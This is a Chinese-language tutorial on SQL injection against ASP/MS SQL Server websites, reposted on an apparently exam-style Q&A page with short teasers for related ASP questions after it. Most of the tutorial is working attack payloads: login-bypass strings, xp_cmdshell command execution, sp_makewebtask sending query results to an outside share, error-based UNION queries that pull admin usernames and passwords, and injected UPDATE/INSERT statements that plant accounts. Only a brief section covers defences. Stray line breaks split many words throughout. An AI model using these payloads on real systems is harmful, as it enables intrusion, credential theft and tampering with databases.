1.0绪论当一台机器只开放了80端口(这里指的是提供HTTP服务)时,可能你的大多数漏洞扫描器都不能给到你很多有价值的信息(漏洞信息),倘若这台机器的管理员是经常为他的服务器打PA
TC
H的话,我们只好把攻击的矛头指向WE
B
服务攻击了。SQL注入攻击是WE
B
攻击类型中的一种,这种攻击没有什么特殊的要求,只需要对方提供正常的HTTP服务,且不需要理会管理员是否是个“PA
TC
H狂”。这类攻击主要是针对某种WE
B
处理程序(如A
SP,JSP,PHP,C
G
I等等)的而进行。这篇文章不是在为阁下介绍什么新“玩意”,SQL注入攻击以前就一直广为流传着。我之所以现在才写这篇文章是因为我想把我最近实验所得的某些经验与积累记录下来,希望能给予读者某些吧。你也可以在“9.0我从哪里可以得到更多相关资料?”的栏目中找到更多其他人所写的、关于SQL注入技巧的相关资料。1.1什么是SQL注入?这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领域’区来达到攻击的目的。1.2SQL注入需要什么(工具等)呢?一个(些)网页浏览器。2.0什么信息是你所需要找寻的呢?首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML页面会通过POST命令将所需要的参数传递给其他的A
SP页面。所以,有的时候你不会在URL路径中看到相关的参数。尽管如此,你仍可以通过查看HTML的源代码中的"F
ORM"标签来辨别是否有参数传递,相关的代码如下:<F
ORM. action=Search/search.asp method=post><input type=hidden name=A
value=C
></F
ORM>在<F
ORM>与</F
ORM>的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。2.1当你找不到有输入行为的页面时应该怎么办呢?你可以找一些相关A
SP、JSP、C
G
I或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:https://duck/index.asp?id=103.0你应该如何测试这些缺陷是否存在呢?首先先加入某些特殊的字符标记,输入如:hi' or 1=1--寻找一些登陆页面,在其登陆ID
与密码输入处,或URL中输入:- Login: hi' or 1=1--- Pass: hi' or 1=1--- https://duck/index.asp?id=hi' or 1=1--如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分的值,如:<F
ORM. action=https://duck/Search/search.asp method=post><input type=hidden name=A
value="hi' or 1=1--"></F
ORM>如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。3.1为什么使用的是' or 1=1--呢?让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的A
SP页来打比方:https://duck/index.asp?category=food在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),这个A
SP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):v_cat = request("category")sqlstr="SE
LE
C
T * F
ROM product WHE
RE
PC
ategory='" & v_cat & "'"set rs=conn.execute(sqlstr)正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:SE
LE
C
T * F
ROM product WHE
RE
PC
ategory='food'这个请求将会返回通过WHE
RE
条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果我们把该URL改成这样的话:https://duck/index.asp?category=food' or 1=1--现在我们的变量v_cat的值就等同于"food' or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,那条SQL请求将会是:SE
LE
C
T * F
ROM product WHE
RE
PC
ategory='food' or 1=1--'现在这个请求将会从product表中选取每一条信息而并不会去理会PC
ategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉’MS SQL SE
RVE
R忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SE
RVE
R),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:' or 'a'='a这样的话整个SQL请求将会变为:SE
LE
C
T * F
ROM product WHE
RE
PC
ategory='food' or 'a'='a'它也会返回相同的结果。根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a4.0如何在SQL注入请求中加入即时执行命令?能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命令执行请求。默认的MS SQL服务器是运行在SYSTE
M用户级别下的,这等同于系统管理员的执行与访问权限。我们可以使用MS SQL SE
RVE
R的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命令:'; exec master..xp_cmdshell 'ping 10.10.1.2'--若失败可以尝试一下使用"(双引号)代替'(单引号)。上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上面这条PING
命令是否成功,你可以在10.10.1.2这台机器上监听IC
MP请求包,并确认它是否来自那台SQL服务器就可以了:#tcpdump icmp如果你不能从那台SQL服务器中得到PING
请求的话,并在SQL请求的返回值中得到错误信息的话,有可能是因为该SQL服务器的管理员限制了WE
B
用户访问这些储存过程了。5.0如何可以获取到我发的SQL请求的相关返回信息呢?我们可以使用sp_makewebtask处理过程的相关请求写入URL:'; E
XE
C
master..sp_makewebtask "//10.10.1.3/share/output.html", "SE
LE
C
T * F
ROM INF
ORMA
TION_SC
HE
MA
.TA
B
LE
S"但先决条件是目标主机的文件夹“share”属性必须设置为“E
veryone”。6.0如何可以从数据库返回的OD
B
C
错误信息得到某些重要的数据呢?我们可以通过发送精心构造的SQL请求迫使MS SQL SE
RVE
R从返回的信息中透露出我们想得到的信息(如表名、列名等)。比方有这么一个URL:https://duck/index.asp?id=10在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如:https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 TA
B
LE
_NA
ME
F
ROM INF
ORMA
TION_SC
HE
MA
.TA
B
LE
S--上例中的系统表INF
ORMA
TION_SC
HE
MA
.TA
B
LE
S包括了这台服务器中所有表的信息。至于TA
B
LE
_NA
ME
区域就包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询问请求就是:SE
LE
C
T TOP 1 TA
B
LE
_NA
ME
F
ROM INF
ORMA
TION_SC
HE
MA
.TA
B
LE
S-服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之后时,MS SQL SE
RVE
R会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int)时,系统就会产生错误。服务器会显示如下错误信息:Microsoft OLE
D
B
Provider for OD
B
C
D
rivers error '80040e07'[Microsoft][OD
B
C
SQL Server D
river][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int./index.asp, line 5非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 TA
B
LE
_NA
ME
F
ROM INF
ORMA
TION_SC
HE
MA
.TA
B
LE
S WHE
RE
TA
B
LE
_NA
ME
NOT IN ('table1')--我们也可以通过LIKE
来找寻相关的特殊字:https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 TA
B
LE
_NA
ME
F
ROM INF
ORMA
TION_SC
HE
MA
.TA
B
LE
S WHE
RE
TA
B
LE
_NA
ME
LIKE
'%25login%25'--输出得到:Microsoft OLE
D
B
Provider for OD
B
C
D
rivers error '80040e07'[Microsoft][OD
B
C
SQL Server D
river][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int./index.asp, line 56.1如何找出表中的列名?我们可以利用另一个比较重要的表INF
ORMA
TION_SC
HE
MA
.C
OLUMNS来罗列出一个表的所有列名:https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 C
OLUMN_NA
ME
F
ROM INF
ORMA
TION_SC
HE
MA
.C
OLUMNS WHE
RE
TA
B
LE
_NA
ME
='admin_login'--输出显示为:Microsoft OLE
D
B
Provider for OD
B
C
D
rivers error '80040e07'[Microsoft][OD
B
C
SQL Server D
river][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int./index.asp, line 5现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 C
OLUMN_NA
ME
F
ROM INF
ORMA
TION_SC
HE
MA
.C
OLUMNS WHE
RE
TA
B
LE
_NA
ME
='admin_login' WHE
RE
C
OLUMN_NA
ME
NOT IN ('login_id')--输出得到:Microsoft OLE
D
B
Provider for OD
B
C
D
rivers error '80040e07'[Microsoft][OD
B
C
SQL Server D
river][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int./index.asp, line 5若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 C
OLUMN_NA
ME
F
ROM INF
ORMA
TION_SC
HE
MA
.C
OLUMNS WHE
RE
TA
B
LE
_NA
ME
='admin_login' WHE
RE
C
OLUMN_NA
ME
NOT IN ('login_id','login_name','password',details')--输出后得到:Microsoft OLE
D
B
Provider for OD
B
C
D
rivers error '80040e14'[Microsoft][OD
B
C
SQL Server D
river][SQL Server]ORD
E
R B
Y items must appear in the select list if the statement contains a UNION operator./index.asp, line 56.2如何找到我们需要的数据?现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。现在让我们问问"admin_login"表的第一个用户名是什么吧:https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 login_name F
ROM admin_login--输出:Microsoft OLE
D
B
Provider for OD
B
C
D
rivers error '80040e07'[Microsoft][OD
B
C
SQL Server D
river][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int./index.asp, line 5知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 password F
ROM admin_login where login_name='neo'--输出:Microsoft OLE
D
B
Provider for OD
B
C
D
rivers error '80040e07'[Microsoft][OD
B
C
SQL Server D
river][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int./index.asp, line 5现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。6.3如何获得数字串值?在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应的密码为"31173":https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 password F
ROM admin_login where login_name='trinity'--这样我们大概只能得到“Page Not F
ound”这样的错误提示。这其中的主要在于,在与整数(这个例子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UNION字句调用就是‘合法’的了,SQL服务器将不会返回任何OD
B
C
错误信息,因而我们是不可能得到这些数字型数据的。为了解决这个,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试用下面的这条请求来代替原来的请求吧:https://duck/index.asp?id=10 UNION SE
LE
C
T TOP 1 convert(int, password%2b'%20morpheus') F
ROM admin_login where login_name='trinity'--在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在A
SC
II中'+'等于0x2b)。我们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到了数字串'31173',它也会变成'31173 morpheus'。在执行了convert()函数后,系统会尝试将'31173 morpheus'转换为整数型,SQL服务器一定会返回这样的OD
B
C
错误信息:Microsoft OLE
D
B
Provider for OD
B
C
D
rivers error '80040e07'[Microsoft][OD
B
C
SQL Server D
river][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int./index.asp, line 5现在你可以知道'trinity'的密码是'31173'了吧。7.0如何在数据库中更新/插入数据?当成功地收集到表中所有的列后,我们就可以在表中UPD
A
TE
(升级/修改)原有的数据或者INSE
RT(加入)新的数据。打个比方,我们要修改帐号"neo"的密码:https://duck/index.asp?id=10; UPD
A
TE
'admin_login' SE
T 'password' = 'newpas5' WHE
RE
login_name='neo'--加入一条新的记录:https://duck/index.asp?id=10; INSE
RT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VA
LUE
S (666,'neo2','newpas5','NA
')--现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。8.0如何避免被SQL注入攻击?过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:-用户的输入-提交的URL请求中的参数部分-从cookie中得到的数据至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUME
RIC
确定它为一个整型数。修改“Startup and run SQL Server”的用户运行级别为低级别。删除一系列你不需要的储存过程,如:master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask9.0我从哪里可以得到更多相关资料?我们最初接触到SQL注入攻击是在Rain F
orest Puppy有关他入侵PacketStorm的文章中提到的。https://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6一篇收集了OD
B
C
错误信息的好文章:https://www.blackhat.com/presentations/win-...1Litchfield.doc关于在SQL SE
RVE
R中进行SQL注入的好文章:https://www.owasp.org/asac/input_validation/sql.shtmlSenseport网站所著的关于SQL注入的文章:https://www.sensepost.com/misc/SQLinsertion.htm其他相关文档:https://www.digitaloffense.net/wargames01/IOWargames.ppthttps://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6https://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6https://www.spidynamics.com/whitepapers/Whi...QLInjection.pdf

ASP网页的SQL注入入侵是什么?

参考答案与解析:

相关试题

ASP网页与HTML网页的区别是什么?

ASP 即 Active Server Page 动态服务器网页。它的工作原理是浏览器发送请求到服务器,然后服务器打开指定的 ASP 文件并把其中的 ASP 标签(开始: <% 结束: %>)作相应的处理后返回一个 HTML 各式的文本给浏览器。在浏览器看来,asp 和 html 没有什么区别,但是 asp 有交互性(无需网页管理员更新即可自动改变内容),而 html 是静态的。ASP 常用于制作论坛和留言本,用 ASP 制作的论坛速度快、但是安全性低,因为目前的 ASP 有很多漏洞。ASP

  • 查看答案
  • ASP动态网页与JSP动态网页有什么区别?

    您好!  JSP(JavaSever Pages)和 ASP(Active Sever Pages)在技术方面有许多相似之处。两者都是为基于WEB应用实现动态交互网页制作提供的技术环境支持。同等程度上来讲,两者都能够为程序开发人员提供实现应用程序的编制与自带组件设计网页从逻辑上分离的技术。而且两者都能够替代CGI使网站建设与发展变的较为简单与快捷。 尽管JSP技术和ASP在许多方面都有相似的,但仍然存在很多不同之处,其中最本质上的区别在于:两者是来源于不同的技术规范组织,其实现的基础:WEB服务器平台要求

  • 查看答案
  • 什么是SQL注入漏洞?

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根 据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能

  • 查看答案
  • ASP与ASP。NET的区别是什么?

    [单选题]A.SP与ASP。NET的区别是什么?

  • 查看答案
  • ASP与HTML相比,ASP网页具有以下特点:

    [问答题] ASP与HTML相比,ASP网页具有以下特点:

  • 查看答案
  • ASP网页是在()执行的。

    [单选题]ASP网页是在()执行的。A .客户端浏览器B .服务器端C .没有定论D . D.第一次在服务器端,以后客户端

  • 查看答案
  • 动态网页asp文件和PHP文件有什么区别?

    [试题]动态网页asp文件和PHP文件有什么区别?制作动态网页时,asp文件和PHP文件有什么区别?

  • 查看答案
  • 网络学习ASP程序是什么?

    [单选题]网络学习ASP程序是什么?

  • 查看答案
  • ASP网页的默认扩展名为()

    [单选题]ASP网页的默认扩展名为()A . axpB . htmlC . htmD . a

  • 查看答案
  • ASP是什么意思还有MBA?

    [单选题]ASP是什么意思还有MBA?

  • 查看答案
  • ASP网页的SQL注入入侵是什么?